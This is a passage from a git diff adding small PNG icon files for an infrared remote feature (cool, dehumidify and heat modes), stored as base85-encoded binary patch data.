zyy5OnIOELwFa(b{;;pz`E^q7JG8oNUg6*)D_^^?L%XTt=if|i}%U#85Awh9ISpI5z z8Bc?@G!Wjmf$2r#1X+O{x5x!SpJY>K6i@rGX8jUW`N!zp+7rwKTvb%$hCxW)SXacz x0esYa#Ie5Oe2SOAc?nB)n|7hk^Ftc~djZK{pns(EF^m@$u(NW)R-t|4{tXgASK9yp literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/CoolHi_hvr_25x27.png b/assets/icons/Infrared/CoolHi_hvr_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..692ac7b8be718dfe02b460c9ce9a710857feb562 GIT binary patch literal 3669 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 literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/CoolLo_25x27.png b/assets/icons/Infrared/CoolLo_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..23288e44f158d4034bebfd6a2a9005514b132a9d GIT binary patch literal 3676 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 literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/CoolLo_hvr_25x27.png b/assets/icons/Infrared/CoolLo_hvr_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..ae5316e4d49992b01a39a4298e36cac1fd365388 GIT binary patch literal 3657 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 P_yK!sCtMlE=iI*m`3F!x literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/Dehumidify_25x27.png b/assets/icons/Infrared/Dehumidify_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..dca77ae410bcc2196a693023640372da1b1912ea GIT binary patch literal 3665 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 Y0_*BPx59$cJUb46GqS>#p?%qL zWeX9aWT!$>2k)`O$@UxPJ)QUW$9vxA^E}Ue-`D5*ey{I!-Pis3JWsrngO!Bneo+7b zBy6m4F1%5Z_b3VT^WM+5-yH`4Q41Ot>tut)f>>;(5A7TU00M_|T&V=tS$Xv8_%g;W zF6@RK(?w1g=yyun6}Q*6|l|cZVF*?6y%jB5O$6ManXRGzDcU z!o&5YJ}kWkfV^ZmUbah{f!&f7-Q9+X)sm-mzP=FL277r;ZcX=;vdjSBBPXhaJLssH?8sx0bxEi*Zl$D6iy97=%_Mn69xcWUbxl+bEW0R zecBCz2O4*eHi~VWF^s~fwKQR*F{0jK2iRv0mqlPSW4azFYn_3Sic=Iz3JNh-r}d|p?Gs)@o1nbB)1jn)D(32LBMak9=}yJQ1v zn9CIc$jw@L5zXF(h&^HXEZMjnfJbb^)LFr9gjYJF--$oQ))X1-kFvZi_Qsn7%Sw{Z z%YMUtv>$!dFn{Jvsjt*@i3>jw#QtcDe5yTeMgId={cBQr^a{p!{~~+x@-@zN@tRUpUY9jHMoQNPpwr z*EwtTCH)KkGFMz8MlP}~j;g7cy-#Q#Rgt^zeun)$#kUEHZ3JB-*td+COsPz!8&RuT z>!Mt8hiIy8s(PxD7L-t2a<62(M9gi;t&@;ce9HAwg{7OG>twOWyR=fbk{qXRu1c=d zV&kIN5^52XV0t&yV>4dRquIXM5qsA;@8Rjmx>k@FS+OcmTg6YJH0FG`L5upsuAz$; zv}!Xpm1`5wCB^v&te&l&dzH)54IfjX$qfIsn;Zv`8O_4#-g#Y2Ie5aYDn2n$*2JXU28Nb*xadP#%v) zu2euu{0fxvYjNBcjKcYh+~=pla_yOg<3aT^KMq`iZW1=>KMGf@#EF7c;%b5;;@$gD zFAe;eC}n8d$nVbBlg(z>0#Yg|{bN*eO)u(BzvZu%QdeoMCnnV<>8Fq2eK!goH-tNT)Voc`YFYxa_aa! zkNN64M)YxnM*-38_{l2E@|^NR?`z9z3-=V(IHWj~=Dw#kKlr`+Rdw+b#Rt=af+H2x z^y*6_s+R)w$;*o7`IP#UOV2L-x``H&h#itFRX(m98t{lMi#&!L&+5K8Z+hwFa@s7E zO6-yD8PuDs-rIS&g_h%*{nm=AK&=UgT#8GGw~Oe6q?!)lvEB+@x2KTMx zWLIT3%@vK@pEsPR&Bu=3daZx!aIS}5z?<8!RUQ@AKsk(j>WucB($8hT78C575 zn(SUa@Zd=Sw`7&HpkVUdgnet$WD;dG4j=b8{o1JEN&Ayd$7W{k>F5dUWz}u(?cnWR zpfKzZAC*5o+&tWK*ZNxUMU@wcrpOV>_sXF;^Q(C^=5ppq5#SkR5gi-t9%GuwiX-mtg{2#Cdq=SW6SyC^G~9SL73PSz zuVZVVWl{n;iyAh1rvJ>e72@OZx}TUsv^i&Y00GgeFl3y2KCv;k6#FUXlh|a4LI$+` zBr7PtyJR0M#p9`I3l<3N>myCob(1WQ$ul%a6mF@P>5v|7D`$9ObIiMv}Nu{{^yy%MWK%|xC z9_gBUUDYvi&FJRBt?fCPCYg`ds|#Z6+;xjzp-(#ADKrm>eY&x%ev; zvLg!Va+e1+M+2voVwoK;GDmMbDlToQ@$T{I^O^lTu9NF2nO2hiIbD(=F*N*0V&d4N zxs~r0Bhd6N&5_#3YHZD&7pSLol)_itUB;$_yM$%J4}#%*-`Hc)z#5}>UMZyRyZ&$e zBc64unnBwfE@*0YRb*oIpagRG!qt$nk3w&Mxu8r{ zhMvV_EoNC}yJoF>dU-x`d~MSE{_A+~hSkU~QaANc9znKCgjclT*@(9()Wx2wIjK39 zLLq;Qo*B7a9Wq1io;WMTTzDqU`PgT%oiJluXWV^a@hNAqa%6h1`&0L<`^eMuubi)_ zt(3QpZM8RRvnpy%_|?n@*FO&NS)EnNHR>K)t`GWMe*1lYE&@GPzZA?|eYv_aAwL$% z*4XUstR3QN%$L_W)}3B9n=>E6j>YzydTxylE{tA2+rZ6R>K(OO6^xGT*-BnXlEUsz z%1r8vk%;-0d(;Gh_+-l7oZTqI_IUTG=PGR7-s-GSkcWn@^?w`a?#<}UPhU(=c|pHe zu=%y&o8tYE)~42j&tC=V!A>n7Tc2y>j&hY3?o3EIPF)0D*4*~}B8|tga0jxh<5^E znQRKk2m;d~>+0%)j1UltHwo^g=R+cEgW$Sw7!=04jdWl}NVpynh5-F_fq4Ph-abed zoaJBPcq=s6m&0Kpp-?WD3*qWPm~1K(hCm>ox^O5QuEX=t2?%0vNP#+x0M(xiI7$GS zO=EFrOa^F&k>tfZ&q0HEV*i~5o%J^@BjB$}@oEMQB(b0{i0)2SKOOP-|Lsbr|Lq;X zaiRQ2?|&r@AOx`}P!~!7^E{i(+dCiColq7YNeM$-O^ z7JW-Sb4#q@KlA;C_5Noq*niXl<%xmr?Ct;C>z^iG1MN)zZeHHv@AjuKcsZ=32wBnTBoHg&^Z=0(Xm zQ9tW9-R*EfzK~kLsA}p*M3ifFW(ob!5{{BFKGw(G2tZZL#IDWhulgkXvP&Gub_Ig) Tfe|}@hk%WR1FiydCgT49&LB(v literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/HeatHi_25x27.png b/assets/icons/Infrared/HeatHi_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..a1724f995562587ec54740789f37729d567e0f88 GIT binary patch literal 3676 zcmaJ@XH-+^);fgA9M=LoRIhyM2f}mKGefxm_f$nGuDm1ww4WG@ z1$>VI0J}LrEzJ zxRwb>nlHH;{&}QQd{%=~smyA_T4jV;ggd`h0H3QXL_v*hC38elpRk9JWddmq&Xk2m z=!$(D<^iM2yRGt<-Wty|IVgjcSYw@J-s z8(p`~e-AUlNFALp{j?*E~l*C0J}e5!%_5?+3S9dDh}J zB&QrD0^+e*H<#fB;5c-$`pd(8JKmEMnj73k6M8_^IU}ynB(37pUfkboRK@X(#>q7R zSgNBoy;bAq4)?wKv4^>{XuM^ScNhrwu}TgAfHPQS2<}ylaXUW%VDln0s!Zipnht0- z@*Zm1JK7|)>7joOt=!s-7Do$uhaaMQsFz2g)uOwrBOlH)&Vv{A0#0_OoXRM?n*d|HO66SOr z2Xe8LUqaFMAYx9LKTA5+0l*_Sqw6hTsS(wVsJFt8F}1}82d|mm6?)^%fMq2}=Via4 zKRSrIsh>alrp#AtIKc?huHE?g0H03ld2L8r3;N+vO@S1zu7}`q;j*@aRVT{1>*7|u zdLA-)BqGcj1@w8CXb?fc)Dmxtw|{S03_7H&yKh*)K!E$2W3wtarP$_?%CmjnTMu}` 